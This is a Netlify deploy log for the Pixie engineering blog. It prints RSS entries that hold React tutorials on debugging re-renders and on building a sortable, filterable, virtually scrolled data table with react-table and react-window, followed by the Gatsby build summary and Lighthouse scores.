6:35:43 AM: ' <figcaption class=gatsby-resp-image-figcaption>The Nav component updated, but nothing about it should have changed.</figcaption>\n' +

6:35:43 AM: ' </figure></figure></div><p>By clicking on the <code>Nav</code> component, we get some more info: what caused it to render at this moment, and when else in the profile it rendered.\n' +

6:35:43 AM: 'Here, we see that a hook changed, but we're not sure which hook or why yet.</p><h2>Why Did You Render?</h2><p>React DevTools isn't providing quite the detail we need here, so let's use another tool that can: <a href=https://github.com/welldone-software/why-did-you-render>Why Did You Render</a> (WDYR).\n' +

6:35:43 AM: 'This tool finds potentially avoidable re-renders, by logging when components update without their inputs changing.\n' +

6:35:43 AM: 'After a <a href=https://github.com/pixie-io/pixie/blob/main/src/ui/src/wdyr.js>little setup</a>, WDYR can be attached with <code>SomeComponent.whyDidYouRender = true;</code> after its definition.\n' +

6:35:43 AM: 'Doing this for <code>Nav</code>, we see a console message when we run our test again:</p><div class=image-xl><figure>\n' +

6:35:43 AM: ' <figure class=gatsby-resp-image-figure>\n' +

6:35:43 AM: ' <span class=gatsby-resp-image-wrapper style=position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1035px>\n' +

6:35:43 AM: ' <span class=gatsby-resp-image-background-image style=padding-bottom:30.115830115830118%;position:relative;bottom:0;left:0;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAABYlAAAWJQFJUiTwAAAA5klEQVQY04WRy27DIBBF/SsJmDcGjO2kTatE6a6b/v/XnAqaVO0i7eLM1YAuI+4MJS+EsrJ3EbEbEUIjhLnp/+z3d1Tvh5wqPs3IUNCuoExklAZnI9YEjPYYE7C2EdHad3Vu+taG96nfDa0oHSjzgfV4Zj5cyPVEzJUpL6T6TEwLMa3EqRJjQSnHONpftDMpDUMro/JYX4j1he36wXZ9Jz+diduFUF+x04oNMz7kbm7fe8Sg2gQdMHEhH99I6wnjJ7SbGc30lY20PZ82/J7VI4a+lLwgbEDuJ'... 8509 more characters

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Tables are Hard, Part 2: Building a Simple Data Table in React',

6:35:43 AM: date: '2021-12-14',

6:35:43 AM: description: `Let's build a simple data table in a web app, starting with the basics. In the previous post , we summarized the features expected in a…`,

6:35:43 AM: url: 'https://blog.px.dev/tables-are-hard-2/',

6:35:43 AM: guid: 'https://blog.px.dev/tables-are-hard-2/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>Let's build a "simple" data table in a web app, starting with the basics.</p><p>In the <a href=/tables-are-hard-1/>previous post</a>, we summarized the features expected in a modern data table.</p><p>By the end of this tutorial, we'll build a table with filtering, sorting, and basic column controls.\n' +

6:35:43 AM: 'In the next post, we'll add new requirements and walk through handling them.</p><p>This tutorial is aimed at relative beginners to web development, and will keep the set of tools as basic as possible to remain focused. Skip to the end for suggestions for a more serious project.</p><p><a href=https://github.com/pixie-io/pixie-demos/tree/main/react-table>Final Code</a> | <a href=https://pixie-io.github.io/pixie-demos/react-table>Live Demo</a></p><div class=image-xl><figure><video controls= muted= loop= playsinline= width=670><source src=/934e82ce37d30668f3c74abfecb69469/tables-are-hard-2-full-demo.mp4 type=video/mp4/></video><figcaption>A quick video demonstration of what we'll build.</figcaption></figure></div><p><em>This article is part of a series</em>:</p><ul><li><a href=/tables-are-hard-1>Part 1: History</a></li><li><strong>Part 2: Building a Simple Data Table in React</strong></li><li><a href=/tables-are-hard-3>Part 3: Streaming Data</a></li></ul><h2>Prerequisites</h2><p>To follow along with this tutorial, you'll need the following:</p><ul><li>A modern browser. If you're reading this, you probably have one<sup id=fnref-1><a href=#fn-1 class=footnote-ref>1</a></sup>.</li><li><a href=https://nodejs.org/en/>NodeJS</a>, version ≥14; npm ≥5.2 (node 14 comes with npm 6).</li><li>Something to edit code with. We'll use <a href=https://code.visualstudio.com/>VS Code</a> for this.</li><li>A basic understanding of the command line for your operating system.</li><li>A basic understanding of HTML, CSS, JavaScript, and <a href=https://reactjs.org/>React</a>.</li></ul><h2>Setting Up</h2><p>To begin, let's quickly generate an empty React app with <a href=https://create-react-app.dev/docs/getting-started/>Create React App</a>.\n' +

6:35:43 AM: 'To stay focused, we'll avoid adding any tools or libraries that aren't directly related to React or our table<sup id=fnref-2><a href=#fn-2 class=footnote-ref>2</a></sup>.</p><ol><li>In a directory of your choice, run <code>npx create-react-app react-table-demo --use-npm</code>.</li><li>This will create the directory <code>react-table-demo</code>. <code>cd</code> into it.</li><li>Run <code>npm start</code> (you don't need to run <code>npm install</code> because <code>create-react-app</code> already did it).</li><li>If it doesn't happen automatically, open your browser to <a href=http://localhost:3000>http://localhost:3000</a>.</li><li>Don't get hypnotized by the spinning logo.</li></ol><h2>Rendering a Grid</h2><p>With <code>npm start</code> still running, we can begin building something.\n' +

6:35:43 AM: 'To get comfortable with the editing experience, we'll create an ordinary table that doesn't do anything special yet.\n' +

6:35:43 AM: 'This means removing most of what's already on the page. We won't be using the spinner.</p><ol><li>Change the styles in <code>App.css</code> to a basic flex container, removing the logo styles.</li><li>Change <code>App.js</code> to just render "Hello, World!" in the middle of the screen.</li><li>Remove <code>logo.svg</code> as we aren't using it anymore.</li></ol><tabs><tab label=App.js><code-block language=jsx code=\n' +

6:35:43 AM: 'import './App.css';\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'function App() {\n' +

6:35:43 AM: ' return (\n' +

6:35:43 AM: ' <div className='App'>\n' +

6:35:43 AM: ' <main>\n' +

6:35:43 AM: ' Hello, World!\n' +

6:35:43 AM: ' </main>\n' +

6:35:43 AM: ' </div>\n' +

6:35:43 AM: ' );\n' +

6:35:43 AM: '}\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'export default App;\n' +

6:35:43 AM: ' ></code-block></tab><tab label=App.css><github-embed language=css repo=pixie-io/pixie-demos srcPath=react-table/1-basics/src/App.css></github-embed></tab></tabs><p>Next, we'll put a basic table in place just to get the ball rolling:</p><ol><li>Create <code>src/utils/useData.js</code>, which generates a random 2D array of data with headers.</li><li>Create <code>src/Table.js</code>, which consumes <code>useData</code> and puts it in an HTML <code>table</code>.</li><li>Create <code>src/Table.module.css</code> to make it look nice.</li><li>Use the new <code>Table</code> component from <code>Table.js</code> in <code>App.js</code></li></ol><tabs><tab label=useData.js><github-embed language=js repo=pixie-io/pixie-demos srcPath=react-table/1-basics/src/utils/useData.js></github-embed></tab><tab label=Table.js><github-embed language=js repo=pixie-io/pixie-demos srcPath=react-table/1-basics/src/Table.js></github-embed></tab><tab label=Table.module.css><github-embed language=css repo=pixie-io/pixie-demos srcPath=react-table/1-basics/src/Table.module.css></github-embed></tab><tab label=App.js><code-block language=diff code=\n' +

6:35:43 AM: '+ import useData from './utils/useData.js';\n' +

6:35:43 AM: '+ import Table from './Table.js';\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'import './App.css';\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'function App() {\n' +

6:35:43 AM: ' const data = useData();\n' +

6:35:43 AM: ' return (\n' +

6:35:43 AM: ' <div className="App">\n' +

6:35:43 AM: ' <main>\n' +

6:35:43 AM: '- Hello, World!\n' +

6:35:43 AM: '+ <Table data={data} />\n' +

6:35:43 AM: ' </main>\n' +

6:35:43 AM: ' </div>\n' +

6:35:43 AM: ' );\n' +

6:35:43 AM: '}\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'export default App;\n' +

6:35:43 AM: ' ></code-block></tab></tabs><p>Now that we're showing tabular data, let's start adding features to make it more useful.</p><h2>Enter: <code>react-table</code></h2><p>We could add features like sorting, filtering, column hiding, and so forth ourselves.</p><p>While this isn't especially difficult at first, it gets complicated quickly.\n' +

6:35:43 AM: 'Instead of walking this well-trodden path ourselves, we'll use a library to deal with the common problems: <a href=https://react-table.tanstack.com/>react-table</a>.</p><p>Let&#x27;s convert our simple HTML <code><table></code> to one that uses <code>react-table</code> before we go any further.\n' +

6:35:43 AM: 'Luckily, its creators already wrote and <a href=https://react-table.tanstack.com/docs/quick-start>excellent tutorial</a> for this part.\n' +

6:35:43 AM: 'To summarize:</p><ol><li><code>npm install react-table</code></li><li>Restart <code>npm start</code></li><li>Change <code>useData</code> in <code>useData.js</code> to the format <code>react-table</code> expects.</li><li>Change <code>Table.js</code> to setup and call <code>useTable</code> with the same data we just adapted.</li><li>Marvel at how we created the exact same thing with more code.</li><li>Despair not, because this makes the next parts easier.</li></ol><tabs><tab label=useData.js><github-embed language=js repo=pixie-io/pixie-demos srcPath=react-table/2-react-table/src/utils/useData.js></github-embed></tab><tab label=Table.js><code-block language=diff code=\n' +

6:35:43 AM: ' import styles from './Table.module.css'\n' +

6:35:43 AM: '+import { useTable } from 'react-table';\n' +

6:35:43 AM: '+\n' +

6:35:43 AM: '+export default function Table({ data: { columns, data } }) {\n' +

6:35:43 AM: '+ const reactTable = useTable({ columns, data });\n' +

6:35:43 AM: '+\n' +

6:35:43 AM: '+ const {\n' +

6:35:43 AM: '+ getTableProps,\n' +

6:35:43 AM: '+ getTableBodyProps,\n' +

6:35:43 AM: '+ headerGroups,\n' +

6:35:43 AM: '+ rows,\n' +

6:35:43 AM: '+ prepareRow\n' +

6:35:43 AM: '+ } = reactTable;\n' +

6:35:43 AM: '\n' +

6:35:43 AM: '-export default function Table({ data: { headers, rows } }) {\n' +

6:35:43 AM: ' return (\n' +

6:35:43 AM: '- <table className={styles.Table}>\n' +

6:35:43 AM: '+ <table {...getTableProps()} className={styles.Table}>\n' +

6:35:43 AM: ' <thead>\n' +

6:35:43 AM: '- {headers.map(h => <th>{h}</th>)}\n' +

6:35:43 AM: '- </thead>\n' +

6:35:43 AM: '- <tbody>\n' +

6:35:43 AM: '- {rows.map((row) => (\n' +

6:35:43 AM: '- <tr>\n' +

6:35:43 AM: '- {row.map(cell => <td>{cell}</td>)}\n' +

6:35:43 AM: '+ {headerGroups.map(group => (\n' +

6:35:43 AM: '+ <tr {...group.getHeaderGroupProps()}>\n' +

6:35:43 AM: '+ {group.headers.map(column => (\n' +

6:35:43 AM: '+ <th {...column.getHeaderProps()}>\n' +

6:35:43 AM: '+ {column.render('Header')}\n' +

6:35:43 AM: '+ </th>\n' +

6:35:43 AM: '+ ))}\n' +

6:35:43 AM: ' </tr>\n' +

6:35:43 AM: ' ))}\n' +

6:35:43 AM: '+ </thead>\n' +

6:35:43 AM: '+ <tbody {...getTableBodyProps()}>\n' +

6:35:43 AM: '+ {rows.map((row) => {\n' +

6:35:43 AM: '+ prepareRow(row);\n' +

6:35:43 AM: '+ return (\n' +

6:35:43 AM: '+ <tr {...row.getRowProps()}>\n' +

6:35:43 AM: '+ {row.cells.map(cell => (\n' +

6:35:43 AM: '+ <td {...cell.getCellProps()}>\n' +

6:35:43 AM: '+ {cell.render('Cell')}\n' +

6:35:43 AM: '+ </td>\n' +

6:35:43 AM: '+ ))}\n' +

6:35:43 AM: '+ </tr>\n' +

6:35:43 AM: '+ );\n' +

6:35:43 AM: '+ })}\n' +

6:35:43 AM: ' </tbody>\n' +

6:35:43 AM: ' </table>\n' +

6:35:43 AM: ' );\n' +

6:35:43 AM: ' ></code-block></tab></tabs><p>It looks like this now:</p><div><iframe width=100% height=600px style=border-width:1px 0 1px 0;border-color:rgba(0, 0, 0, 0.5);border-style:solid src=https://pixie-io.github.io/pixie-demos/react-table/2-react-table/build/></iframe></div><h2>Filtering and Sorting</h2><p>While there is a great <a href=https://react-table.tanstack.com/docs/examples/filtering>complex example</a> of what <code>react-table</code> can do for filtering, we'll start with only a simple global filter.\n' +

6:35:43 AM: 'To use it, we'll create an input that hides every row not containing what the user types. This involves just a few steps:</p><ol><li>Import the plugin <code>useGlobalFilter</code> from <code>react-table</code></li><li>Pass it as an argument to <code>useTable</code>, which adds a <code>setGlobalFilter</code> function to the instance returned by <code>useTable</code>.</li><li>Create a <code>Filter</code> component, which just calls <code>setGlobalFilter</code> as the user types.</li></ol><p>While we're here, let's add sor'... 13624 more characters

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Tables are Hard, Part 3: Streaming Data',

6:35:43 AM: date: '2022-04-06',

6:35:43 AM: description: Let's build a tailing log viewer in React. Or at least, a facsimile of one. In our previous post , we made a table with sorting, filtering…,

6:35:43 AM: url: 'https://blog.px.dev/tables-are-hard-3/',

6:35:43 AM: guid: 'https://blog.px.dev/tables-are-hard-3/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>Let's build a tailing log viewer in React. Or at least, a facsimile of one.</p><p>In our <a href=/tables-are-hard-2/>previous post</a>, we made a table with sorting, filtering, and column controls.</p><p>This time, we'll upgrade it to handle a constant barrage of data a bit like a log viewer would.</p><p>This tutorial is aimed at relative beginners to web development; we'll keep the set of tools and features simple to remain focused. Skip to the end for suggestions for a more serious project.</p><p><a href=https://github.com/pixie-io/pixie-demos/tree/main/react-table>Final Code</a> | <a href=https://pixie-io.github.io/pixie-demos/react-table>Live Demo</a></p><div class=image-xl><figure><video controls= muted= playsinline= width=670><source src=/d086abcf5a70603f3ca8c2a59bb46058/tables-are-hard-3-full-demo.mp4 type=video/mp4/></video><figcaption>A quick video demonstration of what we'll build.</figcaption></figure></div><p><em>This article is part of a series</em>:</p><ul><li><a href=/tables-are-hard-1>Part 1: History</a></li><li><a href=/tables-are-hard-2>Part 2: Building a Simple Data Table in React</a></li><li><strong>Part 3: Streaming Data</strong></li></ul><h2>Setting Up</h2><p>To begin, you'll need the <a href=/tables-are-hard-2/#prerequisites>same basic setup</a> as the previous article in this series:</p><ul><li>A modern browser.</li><li>NodeJS ≥ 14, NPM ≥ 5.2 (NodeJS 14 comes with NPM 6).</li><li>Something to edit code with.</li><li>A basic understanding of the command line, HTML, CSS, JavaScript, and React.</li></ul><p>Using the same principles as the previous article, we'll start off with a fresh template:</p><pre><code class=language-shell>git clone https://github.com/pixie-io/pixie-demos.git\n' +

6:35:43 AM: 'cd pixie-demos/react-table/6-new-base\n' +

6:35:43 AM: 'npm install\n' +

6:35:43 AM: 'npm start\n' +

6:35:43 AM: '</code></pre><p>If this succeeds, your browser should open a demo <a href=https://pixie-io.github.io/pixie-demos/react-table/6-new-base/build/>like this</a> running on <code>localhost:3000</code>.</p><p>This template has different mock data and some adjusted CSS compared to the final demo in the previous article, but the features are unchanged.</p><h2>Excessive Data; Virtual Scrolling</h2><p>Since we're looking at definitely-legitimate log data, let's see what happens if we have a few thousand rows with our current code:</p><tabs><tab label=App.js><code-block language=diff code=\n' +

6:35:43 AM: '- const data = useStaticData(100);\n' +

6:35:43 AM: '+ const data = useStaticData(50_000);\n' +

6:35:43 AM: ' ></code-block></tab></tabs><p>If you save that change, the page will update itself and you'll immediately see some problems:</p><ul><li>Even on a fast computer, the page takes a while to show data and become responsive.</li><li>Sorting, filtering, and resizing data makes the page freeze for a moment.</li><li>With enough rows, it can even crash the browser tab.</li><li>Even scrolling the table feels sluggish.</li></ul><p>With this many rows, React spends a lot of time rendering them every time context changes<sup id=fnref-1><a href=#fn-1 class=footnote-ref>1</a></sup>.\n' +

6:35:43 AM: 'This happens on the main thread and blocks just about everything<sup id=fnref-2><a href=#fn-2 class=footnote-ref>2</a></sup>.</p><p>But why update tens of thousands of rows when only a handful are visible at a time?\n' +

6:35:43 AM: 'Can't we render just the visible rows?\n' +

6:35:43 AM: 'This technique is called <strong>virtual scrolling</strong>, and it's a complex topic.</p><p>In modern browsers, virtual scrolling can be built using tools like <a href=https://developer.mozilla.org/en-US/docs/Web/API/IntersectionObserver><code>IntersectionObserver</code></a>, asynchronous scroll handlers, and a headlamp (to brave the Mines of MDN, the Sea of StackOverflow, and other odysseys).</p><p>Rather than going down that path in the <a href=https://youtu.be/gaQwC5QbLeQ?t=25>forest of all knowledge</a>, we'll use a pre-built solution for virtual scrolling in React: <a href=https://github.com/bvaughn/react-window><code>react-window</code></a>.</p><p>Adding it is straightforward at first.\n' +

6:35:43 AM: '<code>npm install react-window</code>, then a few tweaks to <code>Table.js</code>:</p><tabs><tab label=Table.js><code-block language=diff code=\n' +

6:35:43 AM: '...\n' +

6:35:43 AM: '\n' +

6:35:43 AM: ' import {\n' +

6:35:43 AM: ' useSortBy,\n' +

6:35:43 AM: ' useResizeColumns,\n' +

6:35:43 AM: ' } from 'react-table';\n' +

6:35:43 AM: '+import { FixedSizeList } from 'react-window';\n' +

6:35:43 AM: ' \n' +

6:35:43 AM: ' import './Table.css';\n' +

6:35:43 AM: '\n' +

6:35:43 AM: '...\n' +

6:35:43 AM: '\n' +

6:35:43 AM: ' export default function Table({ data: { columns, data } }) {\n' +

6:35:43 AM: ' ))}\n' +

6:35:43 AM: ' </thead>\n' +

6:35:43 AM: ' <tbody {...getTableBodyProps()}>\n' +

6:35:43 AM: '- {rows.map((row) => {\n' +

6:35:43 AM: '- prepareRow(row);\n' +

6:35:43 AM: '- return (\n' +

6:35:43 AM: '- <tr {...row.getRowProps()}>\n' +

6:35:43 AM: '+ {/*\n' +

6:35:43 AM: '+ * This has a few problems once we use 10,000 rows and add virtual scrolling:\n' +

6:35:43 AM: '+ * - At 10,000 rows, sorting and filtering slow down quite a lot. We'll address that later.\n' +

6:35:43 AM: '+ * Virtual scrolling makes scrolling and resizing columns fast again, but sorting and filtering still chug.\n' +

6:35:43 AM: '+ * - The table's height is no longer dynamic. This can be fixed by detecting the parent's dimensions.\n' +

6:35:43 AM: '+ * - If the user's browser shows layout-impacting scrollbars (Firefox does so by default for example),\n' +

6:35:43 AM: '+ * the header is not part of the scrolling area and thus has a different width than the scroll body.\n' +

6:35:43 AM: '+ * This can be fixed by detecting how wide the scrollbar is and whether it's present, then using that\n' +

6:35:43 AM: '+ * to adjust the <thead/> width accordingly.\n' +

6:35:43 AM: '+ */}\n' +

6:35:43 AM: '+ <FixedSizeList\n' +

6:35:43 AM: '+ itemCount={rows.length}\n' +

6:35:43 AM: '+ height={300}\n' +

6:35:43 AM: '+ itemSize={34}\n' +

6:35:43 AM: '+ >\n' +

6:35:43 AM: '+ {({ index, style }) => {\n' +

6:35:43 AM: '+ const row = rows[index];\n' +

6:35:43 AM: '+ prepareRow(row);\n' +

6:35:43 AM: '+ return <tr {...row.getRowProps({ style })}>\n' +

6:35:43 AM: ' {row.cells.map(cell => (\n' +

6:35:43 AM: ' <td {...cell.getCellProps()}>\n' +

6:35:43 AM: ' {cell.render('Cell')}\n' +

6:35:43 AM: ' </td>\n' +

6:35:43 AM: ' ))}\n' +

6:35:43 AM: ' </tr>\n' +

6:35:43 AM: '- );\n' +

6:35:43 AM: '- })}\n' +

6:35:43 AM: '+ }}\n' +

6:35:43 AM: '+ </FixedSizeList>\n' +

6:35:43 AM: ' </tbody>\n' +

6:35:43 AM: ' </table>\n' +

6:35:43 AM: ' </div>\n' +

6:35:43 AM: ' ></code-block></tab></tabs><p>Saving that, we immediately see better scroll performance. But we see a few problems too:</p><div class=image-xl><figure>\n' +

6:35:43 AM: ' <figure class=gatsby-resp-image-figure>\n' +

6:35:43 AM: ' <span class=gatsby-resp-image-wrapper style=position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1035px>\n' +

6:35:43 AM: ' <span class=gatsby-resp-image-background-image style=padding-bottom:63.70656370656371%;position:relative;bottom:0;left:0;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAABYlAAAWJQFJUiTwAAACV0lEQVQ4y5WSyW5TQRBF/SchJHEcv3lwv35zv8lzYqwEJxF8AEsWLBAbhBDffVC3TYjYsbiqqh5u3RpGnz5/4ev3n3z78YvV/ROXvsCRFZMo5TqSXEcpN7McKym4DiXj8HhmJSXXUfYSa2h/FNcDolmYwE5KZmpOs90Tlh1ervAyRTasGXYPyG5pzuO6p9vskHVPmCn8vMHPlEk4qtc7ht1786HZ7ImqFlG32LIyZE5ak7RLk2T+7oDa7JHtgrpXtENFXCmcTBGkJeMgYVQstqjNO6rVHcV8S6y04jlB0Ro12mb92tz/eSf7Felyg1isCYcNYT0QF82RsFre0d3do5VqX5eTqB73VIqb1aT9iv7unsX+YKrQpZfzgUwporzB05AFV4H4S9hu91SrHbOqJVUNU1Ga4ehh6B53J0LdTy+taLuWpi4RWWXa4yb5UWE+3xh15fIW7Qs1kLaDUReULX7RIruVudfl6qHpKpp5T9kpwrIl0K1Jq6NCM/bTOvwvroLXccKVVjg+7c+ffRqf8Np/wb+kUcpVqKHj45vRueVy4QkuA8nZjcObG4fzqXv0p+4Lzi2Pt4Hgwgl4awdcOgFnE5ux5TP2Ii4sz/wdCctD2iHCjkidiMQKiCYOwvIRU4944pBYPuHExrtxSL2Yme0j3ZA8mJE6IdHUJXJn+LbPaOsJPmY9H7KOQ1LznLbGHhLFQdS8FxWPiTL2IS55mJXcn+ytL9l4wmDrS7o4Z7R0Yj7kPR+LOY+yMf5z1vGUNibWxDrJ0yscpGLlzlhreOIIJ2ZdNPwGB9S1YWS6cEoAAAAASUVORK5CYII=');background-size:cover;display:block></span>\n' +

6:35:43 AM: ' <img class=gatsby-resp-image-image alt=That doesn't look right... title=That doesn't look right... src=/static/bc7ff720e9b808729e60f0e98d68c0b8/e3189/7a.png srcSet=/static/bc7ff720e9b808729e60f0e98d68c0b8/a2ead/7a.png 259w,/static/bc7ff720e9b808729e60f0e98d68c0b8/6b9fd/7a.png 518w,/static/bc7ff720e9b808729e60f0e98d68c0b8/e3189/7a.png 1035w,/static/bc7ff720e9b808729e60f0e98d68c0b8/44d59/7a.png 1553w,/static/bc7ff720e9b808729e60f0e98d68c0b8/a6d66/7a.png 2070w,/static/bc7ff720e9b808729e60f0e98d68c0b8/6c9f4/7a.png 2326w sizes=(max-width: 1035px) 100vw, 1035px style=width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0 loading=lazy decoding=async/>\n' +

6:35:43 AM: ' </span>\n' +

6:35:43 AM: ' <figcaption class=gatsby-resp-image-figcaption>That doesn't look right...</figcaption>\n' +

6:35:43 AM: ' </figure></figure></div><ul><li>Layout and CSS are, to put it gently, hosed. Especially in browsers with layout-impacting scrollbars<sup id=fnref-3><a href=#fn-3 class=footnote-ref>3</a></sup>!</li><li>The browser console complains that we're no longer using a valid structure for our table.</li><li>Scrolling rows and resizing columns are fast now, but sorting and filtering are still slow. They still manipulate the full set of rows.</li></ul><p>To fix these issues, we'll do <a href=https://github.com/pixie-io/pixie-demos/pull/39/commits/6062558e84e3e7e0aa7f4124f1128fb9fa56d254#diff-6009240235c0a1c9961b5cef245d5345567c0717d13b23d4035dae972ec969d4>a few things</a>:</p><ul><li>CSS cleanup: fitting the table into a flexible space that won't overflow the viewport.</li><li>Making automatic height and vir'... 18087 more characters

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: success onPostBuild - 4.267s

6:35:43 AM:

6:35:43 AM: Pages

6:35:43 AM: ┌ src/templates/blog-post.tsx

6:35:43 AM: │ ├ /adam-hawkins-on-pixie/

6:35:43 AM: │ └ ...43 more pages available

6:35:43 AM: ├ src/pages/index.tsx

6:35:43 AM: │ ├ /announcements

6:35:43 AM: │ └ ...7 more pages available

6:35:43 AM: └ src/pages/404.tsx

6:35:43 AM: ├ /404/

6:35:43 AM: └ /404.html

6:35:43 AM: ╭────────────────────────────────────────────────────────────────────╮

6:35:43 AM: │ │

6:35:43 AM: │ (SSG) Generated at build time │

6:35:43 AM: │ D (DSG) Deferred static generation - page generated at runtime │

6:35:43 AM: │ ∞ (SSR) Server-side renders at runtime (uses getServerData) │

6:35:43 AM: │ λ (Function) Gatsby function │

6:35:43 AM: │ │

6:35:43 AM: ╰────────────────────────────────────────────────────────────────────╯

6:35:43 AM: info Done building in 84.452735662 sec

6:35:44 AM:

6:35:44 AM: (build.command completed in 1m 32.5s)

6:35:44 AM:

6:35:44 AM: @netlify/plugin-gatsby (onBuild event)

6:35:44 AM: ────────────────────────────────────────────────────────────────

6:35:44 AM:

6:35:44 AM: Skipping Gatsby Functions and SSR/DSG support

6:35:44 AM:

6:35:44 AM: (@netlify/plugin-gatsby onBuild completed in 7ms)

6:35:44 AM:

6:35:44 AM: @netlify/plugin-gatsby (onPostBuild event)

6:35:44 AM: ────────────────────────────────────────────────────────────────

6:35:44 AM:

6:35:48 AM: Skipping Gatsby Functions and SSR/DSG support

6:35:48 AM:

6:35:48 AM: (@netlify/plugin-gatsby onPostBuild completed in 3.4s)

6:35:48 AM:

6:35:48 AM: @netlify/plugin-lighthouse (onPostBuild event)

6:35:48 AM: ────────────────────────────────────────────────────────────────

6:35:48 AM:

6:35:48 AM: Generating Lighthouse report. This may take a minute…

6:35:48 AM: Running Lighthouse on public/

6:35:48 AM: Serving and scanning site from directory public

6:35:58 AM: Lighthouse scores for public/

6:35:58 AM: - Performance: 91

6:35:58 AM: - Accessibility: 71

6:35:58 AM: - Best Practices: 92

6:35:58 AM: - SEO: 85

6:35:58 AM: - PWA: 80

6:35:58 AM:

6:35:58 AM: (@netlify/plugin-lighthouse onPostBuild completed in 10.3s)

6:35:58 AM:

6:36:11 AM: (Netlify Build completed in 2m 14.3s)

6:36:17 AM: Section completed: building

6:37:04 AM: Finished processing build request in 3m58.128s

Deploy successful for blog-px-dev

Lighthouse scores

Deploy summary

Initializing

Building

Deploying

Cleanup

Post-processing